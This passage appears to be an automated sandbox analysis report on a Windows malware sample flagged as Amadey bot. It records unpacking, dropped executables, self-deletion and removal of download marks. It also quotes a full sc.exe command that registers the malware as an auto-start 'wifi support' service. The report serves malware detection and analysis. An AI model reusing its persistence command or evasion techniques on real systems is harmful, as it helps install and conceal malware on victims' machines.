Source:	Binary string: C:\fuzobeficepo\fiwasito\cat45\yivo.pdbh source: CFE8.exe, 00000012.00000000.774792717.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\tiroducelidayu\citakuyar\g.pdb source: E2A6.exe, 00000013.00000000.780837956.0000000000401000.00000020.00020000.sdmp, gaystiqf.exe, 00000023.00000000.802951269.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbl source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbj source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 8A6B.exe, 0000000C.00000000.756911608.0000000000413000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000002.806679360.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000011.00000002.805591545.0000000005480000.00000002.00020000.sdmp
Source:	Binary string: profapi.pdb` source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Unpacked PE file: 18.2.CFE8.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Unpacked PE file: 19.2.E2A6.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Unpacked PE file: 35.2.gaystiqf.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Unpacked PE file: 18.2.CFE8.exe.400000.0.unpack .text:ER;.data:W;.sutala:W;.buve:W;.bobe:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Unpacked PE file: 19.2.E2A6.exe.400000.0.unpack .text:ER;.data:W;.tojid:W;.vese:W;.fikazap:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Unpacked PE file: 35.2.gaystiqf.exe.400000.0.unpack .text:ER;.data:W;.tojid:W;.vese:W;.fikazap:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Yara detected BatToExe compiled binary

Show sources

Source: Yara match	File source: 0000002E.00000003.893800912.00000000026D7000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.872943037.000000000063A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.873526703.0000000000AF0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.893714086.00000000026D0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.893898519.00000000024E0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.872792348.00000000005B0000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.872879776.0000000000630000.00000004.00000020.sdmp, type: MEMORY

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: FA5C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 21.0.FA5C.exe.530000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 21.0.FA5C.exe.530000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 39.2.FA5C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 39.0.FA5C.exe.ab0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 39.0.FA5C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_0043DFD4 push es; retn 0042h	0_2_0043DFD5
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00563634 push es; iretd	0_2_00563640
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00401880 push esi; iretd	10_2_00401893
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402E94 push es; iretd	10_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00412CA4 push eax; ret	12_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0058127E push edi; iretd	12_2_005812AA
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0058123C push edi; iretd	12_2_005812AA
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0058735E push esp; iretd	12_2_0058735F
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_005853C8 pushfd ; retf	12_2_005853D3
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 13_2_00563634 push es; iretd	13_2_00563640
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00401880 push esi; iretd	16_2_00401893
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402E94 push es; iretd	16_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402E94 push es; iretd	16_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004139B0 push eax; ret	18_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00643C00 push eax; ret	18_2_00643C2E
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00866841 pushfd ; ret	18_2_0086699F
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00866873 pushfd ; ret	18_2_0086699F
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_0086318B push ebx; ret	18_2_0086318C
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00865DE0 pushad ; ret	18_2_00865DE1
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00867B53 push ss; retf	18_2_00867B66
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_00538508 push 00000028h; retf 0000h	21_2_0053850D
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_0053764A push esp; ret	21_2_0053764B
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_027D4003 push esi; retf	21_2_027D400F
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_008B1D16 push 0000002Bh; iretd	35_2_008B1D1C
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_008AF520 push ds; ret	35_2_008AF521

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_004358C0 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_004358C0

Source: FA5C.exe.5.dr

Static PE information: 0xA22A793F [Sun Mar 19 11:55:43 2056 UTC]

Source: sbxGIUIhRd.exe	Static PE information: section name: .zas
Source: sbxGIUIhRd.exe	Static PE information: section name: .give
Source: sbxGIUIhRd.exe	Static PE information: section name: .riyevol
Source: CF17.exe.5.dr	Static PE information: section name: .code
Source: 96DB.exe.5.dr	Static PE information: section name: .gizi
Source: 96DB.exe.5.dr	Static PE information: section name: .bur
Source: 96DB.exe.5.dr	Static PE information: section name: .wob
Source: A15C.exe.5.dr	Static PE information: section name: .code
Source: 95C6.exe.5.dr	Static PE information: section name: .zas
Source: 95C6.exe.5.dr	Static PE information: section name: .give
Source: 95C6.exe.5.dr	Static PE information: section name: .riyevol
Source: CFE8.exe.5.dr	Static PE information: section name: .sutala
Source: CFE8.exe.5.dr	Static PE information: section name: .buve
Source: CFE8.exe.5.dr	Static PE information: section name: .bobe
Source: E2A6.exe.5.dr	Static PE information: section name: .tojid
Source: E2A6.exe.5.dr	Static PE information: section name: .vese
Source: E2A6.exe.5.dr	Static PE information: section name: .fikazap
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name: .28gybOo
Source: B3EB.exe.5.dr	Static PE information: section name: .adata
Source: C487.exe.5.dr	Static PE information: section name: .didata
Source: adijaeg.5.dr	Static PE information: section name: .zas
Source: adijaeg.5.dr	Static PE information: section name: .give
Source: adijaeg.5.dr	Static PE information: section name: .riyevol
Source: gaystiqf.exe.19.dr	Static PE information: section name: .tojid
Source: gaystiqf.exe.19.dr	Static PE information: section name: .vese
Source: gaystiqf.exe.19.dr	Static PE information: section name: .fikazap

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: FA5C.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: B3EB.exe.5.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654
Source: A15C.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x5e577
Source: CF17.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x67108

Source: initial sample	Static PE information: section name: .text entropy: 6.96344242356
Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: .text entropy: 6.96344242356
Source: initial sample	Static PE information: section name: .text entropy: 6.99141183454
Source: initial sample	Static PE information: section name: .text entropy: 6.9644643234
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: .text entropy: 6.96344242356
Source: initial sample	Static PE information: section name: .text entropy: 6.9644643234

Source: FA5C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: FA5C.exe.5.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 21.0.FA5C.exe.530000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 21.0.FA5C.exe.530000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 21.0.FA5C.exe.530000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 21.0.FA5C.exe.530000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 21.0.FA5C.exe.530000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 21.0.FA5C.exe.530000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 21.0.FA5C.exe.530000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 21.0.FA5C.exe.530000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 39.2.FA5C.exe.ab0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 39.2.FA5C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 39.0.FA5C.exe.ab0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 39.0.FA5C.exe.ab0000.7.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 39.0.FA5C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 39.0.FA5C.exe.ab0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000030.00000002.934394338.00000000007C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.934464446.000000000081C000.00000004.00000001.sdmp, type: MEMORY

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\adijaeg

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B3EB.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BBBC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C487.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7D38.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CFE8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CF17.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	File created: C:\Users\user\AppData\Local\Temp\gaystiqf.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FA5C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E2A6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8A6B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\adijaeg	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\96DB.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\95C6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A15C.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe (copy)

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\txlhcyih

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

19_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\sbxgiuihrd.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\adijaeg:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

18_2_0040C2E0

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
